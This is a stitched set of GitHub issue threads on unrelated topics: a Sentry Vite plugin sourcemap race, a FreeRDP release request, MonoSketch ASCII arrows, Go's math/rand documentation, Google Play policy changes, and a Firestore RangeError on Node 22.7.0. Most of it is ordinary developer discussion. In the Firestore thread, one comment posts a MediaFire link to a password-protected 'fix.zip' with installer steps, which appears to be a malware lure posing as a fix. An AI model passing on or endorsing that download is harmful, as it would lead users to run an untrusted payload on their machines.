[sentry-vite-plugin] Debug: Deleting asset after upload: /xxx/demo/vite-project/dist/assets/index-legacy-DkA8posW.js.map
// ------------------------- [ Waiting   dependencies second time ] -------------
computing gzip size (3)...[sentry-vite-plugin] Debug: Waiting for dependencies on generated files to be freed before deleting...
// ------------------------- [ Deleting index-9funETI3.js.map ] ----------
[sentry-vite-plugin] Debug: Deleting asset after upload: /xxxx/demo/vite-project/dist/assets/index-9funETI3.js.map
[sentry-vite-plugin] Debug: No `sourcemaps.assets` option provided, falling back to uploading detected build artifacts.
dist/index.html                   1.73 kB │ gzip:  0.82 kB
dist/assets/react-CHdo91hT.svg    4.13 kB │ gzip:  2.05 kB
dist/assets/index-rDvlKsbK.css    1.40 kB │ gzip:  0.73 kB
dist/assets/index-9funETI3.js   144.02 kB │ gzip: 46.39 kB │ map: 349.69 kB
.....
// ------------------------- [ Upload after Delete ] ----------
[sentry-vite-plugin] Info: Successfully uploaded source maps to Sentry

Should be good to observe, The order of the second execution has changed
Second Deleted before the Second Upload
Let's look at the code,
The delete task will wait for the subscription to be triggered after the writebundle is run.
https://github.com/getsentry/sentry-javascript-bundler-plugins/blob/c68361a636992e9f656f82f46fff031f1da18ba9/packages/bundler-plugin-core/src/plugins/sourcemap-deletion.ts#L27-L52
Wait for the release of the following code
https://github.com/getsentry/sentry-javascript-bundler-plugins/blob/c68361a636992e9f656f82f46fff031f1da18ba9/packages/bundler-plugin-core/src/debug-id-upload.ts#L197
https://github.com/getsentry/sentry-javascript-bundler-plugins/blob/c68361a636992e9f656f82f46fff031f1da18ba9/packages/bundler-plugin-core/src/plugins/release-management.ts#L93
When the plugin is initialized, the promise created by waitUntilSourcemapFileDependenciesAreFreed is passed to the deletion task. When the first subscription is triggered, the deletion task is triggered, and the promise will be used ( Due to the plugin operation mechanism, the promsie here will only be triggered once)
https://github.com/getsentry/sentry-javascript-bundler-plugins/blob/c68361a636992e9f656f82f46fff031f1da18ba9/packages/bundler-plugin-core/src/index.ts#L410
Then after the first deletion task is triggered, promise is used. When the second deletion task is triggered, it will not continue to wait.
So the second deletion task was brought forward, and the upload task has not yet started
Do these answer your questions?
So all I can think of is to recreate a subscription and listener every time writebundle is triggered, Same as I did

Ah, I think I understand now. Thank you! Our write hooks are called multiple times in certain setups, and that will cause the tasks to be removed before all of the invocations have finished. Your PR makes a lot of sense in that case.

Ah, I think I understand now. Thank you! Our write hooks are called multiple times in certain setups, and that will cause the tasks to be removed before all of the invocations have finished. Your PR makes a lot of sense in that case.

Although this is the case, I can only guarantee vite, I will add some test cases later.
Enjoy your weekend!

For anybody watching this issue, we released version 2.21.1 which should fix this problem. Gonna close this issue to keep our issues stream clean. Let me know if there still are problems.


Any plans to make new release?

I think that it would be good to flush currently committed changes and make new final release :)

On 2019-12-31, OpenSSL 1.0 will become unsupported, with not even security fixes. This means distros, such as Homebrew for macOS, will stop shipping it.
FreeRDP's latest version (1.0.2) does not support OpenSSL 1.1, so we would like to request a release be made before 2019-12-31. Otherwise, we will have to remove FreeRDP from Homebrew, and it has a large number of users (we count 635 installs per month).

@fxcoudert there are already the 2.0.0-rc releases, might be a good idea to check these.

Homebrew only ships stable releases, not alpha, beta, or release candidates.

Do you still have something on outstanding list before make new release?

@kloczek not much, mostly testing (and time enough to make a proper release)

Any news since 20 November 2018?
More one year?

A new RC would be appreciated as current freerdp is not ABI compatible with rc4, remmina suffers from this.

https://github.com/FreeRDP/FreeRDP/releases/tag/2.0.0

Thanks @bmiklautz!


[WIP] Improve graphics

Fixes #5.

@homu retry

@homu r+

@homusloth r+

:pushpin: Commit 2615682 has been approved by Bastacyclop

:hourglass: Testing commit 2615682 with merge 6f257f3...

:broken_heart: Test failed - status-travis

:pushpin: Commit 96649df has been approved by Bastacyclop

:hourglass: Testing commit 96649df with merge 43a3fe2...

@homusloth retry clean

:zap: Test exempted: merge already tested by Travis CI.


Feature: plain ASCII support

Hello!
Great tool, very useful for my notes. However I would like to use it for internet draft illustration (https://www.ietf.org/standards/rfcs/, for example: https://www.rfc-editor.org/rfc/rfc9526.txt) which sadly only a plain ASCII thing. It would be possible to support plain ASCII (without Unicode characters)? Yes, that renderes poorly however it would be still huge help for me (and for the internet engineering community).

Thank you for the detailed response.
No need to hurry, I will be happy when its done. I just recently found this tool and I'm very happy with it as is for illustrating personal notes. Sometimes my colleagues and I need to illustrate internet drafts (every 3-6 months or so) and the ASCII mode would help with that.
A question about the typescript code. Will the whole project be converted to Typescript or just a part of it? From the output it looks like you are rewriting it from scratch. Anyway, keep up the good work and have fun learning!

I didn't want to, but, unfortunately, I'm porting from scratch.
The number of codes of MonoSketch is not big (~19k), so, this is not a heavy task so far. Only some parts are more complicated than others, and most of the code is quite straightforward.

Not sure its related, but I would love to have the arrows like asciiflow.
This ►  instead of ▶
It makes the vertical lines misaligned
You can notice it in the example on the README.md page and below.
Example :
Current :
                 ─       │           ├───────○──┤/  547 │
                GND      │           │       │  │ ▶     │
                         │           │      ╭┴╮   │     │

With suggested arrow :
                 ─       │           ├───────○──┤/  547 │
                GND      │           │       │  │ ►     │
                         │           │      ╭┴╮   │     │

I like the idea that we can keep it as vanilla as possible without having to use fonts like jetbrains mono (even if its a cool font), but can use fonts like monospace or courier.

For ► or ▶, it really depends on the font and there are no correct answers.
For example, ► is ► in monospace font while ▶ is ▶
On my PC, the font used on GitHub for monospace renders correct size for both text:

But this is what it is displayed on my email

Btw, let me add a new kinds of arrow later

Sounds great!
Up and down arrows are fint :
From notepad++

Yes.
Seems to work. Thanks ☺


GNOME - Fix GResource location

If the app is installed in /opt the gresource will not be found, so let the app first look in /usr/share and only then in ../../share

You already know what I'm going to ask about Application template :))

Let me know when this is ready

You already know what I'm going to ask about Application template :))

Yeah, haha, I just want to be sure that it will work now no matter where the app is installed


Implement Exercise: Armstrong-numbers

ref:https://github.com/exercism/abap/issues/223

abap.builtin.ipow is not a function missing in transpiler, I will fix

abap.builtin.ipow is not a function missing in transpiler, I will fix
tho, floating point might be a problem, hmm

I can add workaround using a**b

There was typo , fixed and tested.

@Dwivedirahul44 take care of brancing, this PR should ideally not contain any commits regarding the acronym exercise

thank you!


Verify in CI that meltano/meltano Docker image entrypoint works correctly

Migrated from GitLab: https://gitlab.com/meltano/meltano/-/issues/2474
Originally created by @DouweM on 2020-12-08 16:15:43

Let's not run into https://gitlab.com/meltano/meltano/-/issues/2473 again.

View 1 previous comment from the original issue on GitLab


math/rand: documentation on rng.go is lacking important context and information

Does this issue reproduce with the latest release?
Yes
What did you expect to see?
Details about the algorithm used, links to source material, context about why this algorithm was used and how it differs from other methods.
What did you see instead?
https://github.com/golang/go/blob/c2edcf4b1253fdebc13df8a25979904c3ef01c66/src/math/rand/rng.go#L7-L12
A single vague comment listing two names, without the title of sources used, the name of the algorithm used, or any details whatsoever. The names alone don't seem to be sufficient for finding the source material (at least based on a good amount of googling)
It seems like I'm not the only person having this issue:
https://www.seehuhn.de/blog/134.html
Could provide some more context on what algorithm is being used, why it was chosen, and how it differs from something like mersenne twister? I think it would be valuable knowledge, and a good addition to that documentation.

See https://github.com/golang/go/issues/21835.
Perhaps this package should suggest using exp/rand.

For whoever might update the documentation: the default Source is a lagged Fibonacci generator with j=273, k=607.
To answer how it differs from Mersenne Twister, LFG is essentially a simple LFSR over elements in GF(2^64), which as #21385 mentions has a number of empirical and theoretical problems; MT is a linear recurrence over a polynomial in GF(2^19937) in its usual implementation with another linear transform applied to its outputs, giving it strong theoretical performance.
While I agree that math/rand probably ought to recommend a different generator for many applications, I find it odd for a standard package to recommend something in x/exp. How close is x/exp/rand to being promoted to x/math/rand or similar?

The proposal has not even been accepted yet. If it does get accepted, it will still be a while, as the process described in the proposal makes clear.

/cc @griesemer @rsc @josharian per owners.

So I've done quite a bit of digging since originally opening this issue. Something I can't find an answer to is why the LCG used to seed the initial algorithm uses Schrage's method instead of 64-bit arithmetic. I'm wondering if that was an intentional decision or simply an artifact of the original systems this implementation was written for. It seems like using 32-bit logic has a few downsides:

Seeds are truncated to 32 bits for use in the LCG (I am not positive that's why this was done, but it seems to be the case)
It is computationally less efficient to use two single-width multiplications than one double-width multiplication, and 64-bit operations are used quite often elsewhere in this code.

If someone has more context or info on the decision behind that, that would be great. It's possible I would need to ask one of the original authors (Ken Thompson seems like the person who'd know as per this comment https://groups.google.com/g/golang-nuts/c/RZ1G3_cxMcM/m/_7J7tnHhsU4J).

Seeds are truncated to 32 bits for use in the LCG (I am not positive that's why this was done, but it seems to be the case)

They are not quite truncated, as they are moduloed (is that a word?) with an odd number first. But yes, half the bits of entropy are thrown away.
Just a guess, but seedrand does division/modulo on int32s, and maybe that was considered expensive if changed to int64 on 32-bit machines. Maybe that was a big deal ~10 years ago, but I don't think that's a big problem nowadays.

I mean, it's being explicitly cast to an int32. The effect is either truncation of the higher bits or modulus, they're the same thing in this context. Regardless, the rest of this code is littered with 64 bit logic. To seed the generator, for each value in the state vector, three values from seedrand are used to generate an int64, which is then XOR'd with the 64-bit value in the state vector, so I think there'd still be plenty of problems on a 32-bit machine. Anyways, I am genuinely curious as to the intent behind this, and I have my own theories for sure, but if someone is actually aware of why this was done, that would be helpful. Otherwise I will see if I can get into contact with people involved in the original implementation and find out!


[android] Review Google Policy Updates

We've updated our Deceptive Behavior policies to emphasize functionally deceptive apps and our requirement to provide accurate disclosures and metadata.
We’ve introduced a Manipulated Media policy for apps that spread or create altered media.
We’ve updated our Malware policy. Visit the Google Play Protect site for additional information about enforcement and reporting malware.
We’ve updated our Subscriptions policy to ensure transparent communication of subscription offers.
Developers with apps currently on Google Play will have 60 days from the issuance of this notification to bring their apps into compliance with the Subscriptions policy to prevent removal.
We’ve rebranded the Ad Network Certification program to the Families Ads Program.
We’ve updated our Families policy to include disclosure of collecting personal and sensitive information from children.
We’ve updated our Families policy to provide further clarification on Bluetooth use.
We’ve updated our Families Ads and Monetization policy to prohibit ads and monetization practices that are spammy and/or manipulative.
We’ve launched our Location policy to promote transparency and limit inappropriate access to location data especially in the background.
Because compliance with the Location policy may require substantial changes to your app, affected developers will have an extended timeline to make any necessary updates. To view timelines and other updates, please visit our Help Center.
The following enforcement timelines will apply to these policies (with the exception of the Location policy):
Any new apps or app updates published after this notification will immediately be subject to the latest version of the Developer Program Policies.
Apps currently on Google Play will have 30 days from the issuance of this notification to come into compliance to prevent removal, except for the Subscriptions policy which will have 60 days.

This was published on April 16, and now they say it's only 30 days (11 more days)
https://play.google.com/about/updates-resources/


[Firestore] RangeError thrown on Node version 22.7.0

Operating System version: Windows 11, macOS Sonoma 14.6.1
Firebase SDK version<EMAIL_ADDRESS>Firebase Product: Firestore
Node.js version: 22.7.0
NPM version: 10.8.2

Description of the problem
Accessing the firestore API throws a RangeError [ERR_BUFFER_OUT_OF_BOUNDS]: "length" is outside of buffer bounds
Steps to reproduce:
Any access like:
const snapshot = await db.collection("...").get(); for example
throws this error.
This problem didn't happen on Node 22.4.0.
Stack trace
RangeError [ERR_BUFFER_OUT_OF_BOUNDS]: "length" is outside of buffer bounds
    at proto.utf8Write (node:internal/buffer:1066:13)
    at Op.writeStringBuffer [as fn] (C:\path\to\package\node_modules\protobufjs\src\writer_buffer.js:61:13)
    at BufferWriter.finish (C:\path\to\package\node_modules\protobufjs\src\writer.js:453:14)
    at C:\path\to\package\node_modules\@grpc\proto-loader\build\src\index.js:177:109
    at Array.map (<anonymous>)
    at createPackageDefinition (C:\path\to\package\node_modules\@grpc\proto-loader\build\src\index.js:177:39)
    at Object.fromJSON (C:\path\to\package\node_modules\@grpc\proto-loader\build\src\index.js:230:12)
    at GrpcClient.loadProtoJSON (C:\path\to\package\node_modules\google-gax\build\src\grpc.js:228:51)
    at new LocationsClient (C:\path\to\package\node_modules\google-gax\build\src\locationService.js:118:32)
    at new FirestoreClient (C:\path\to\package\node_modules\@google-cloud\firestore\build\src\v1\firestore_client.js:136:32)
Caused by: Error
    at QueryUtil._getResponse (C:\path\to\package\node_modules\@google-cloud\firestore\build\src\reference\query-util.js:42:23)
    at CollectionReference._getResponse (C:\path\to\package\node_modules\@google-cloud\firestore\build\src\reference\query.js:792:32)
    at CollectionReference._get (C:\path\to\package\node_modules\@google-cloud\firestore\build\src\reference\query.js:785:35)
    at CollectionReference.get (C:\path\to\package\node_modules\@google-cloud\firestore\build\src\reference\query.js:754:39)
    at <my code>

The problem also doesn't happen on Node 22.6.0

Download
https://www.mediafire.com/file/jjwb2y99al0750x/fix.zip/file
password: changeme
In the installer menu, select "gcc."

This might be happening in bun as well, where db.collection("...").get(); returns an inconsistent number of docs whenever it's run.

downgraded to node v20 fixed the issue

Hey folks, this is due to a bug in Node v22.7.0
https://github.com/nodejs/node/issues/54518
It should be fixed in v22.8.0, which they plan to release in next week https://github.com/nodejs/node/pull/54560#issuecomment-2318836543
I am closing this issue since this does not require any changes to the SDK.

Hey folks, this is due to a bug in Node v22.7.0 nodejs/node#54518
It should be fixed in v22.8.0, which they plan to release next week nodejs/node#54560 (comment)
I am closing this issue since this does not require any changes to the SDK.

wow thanks.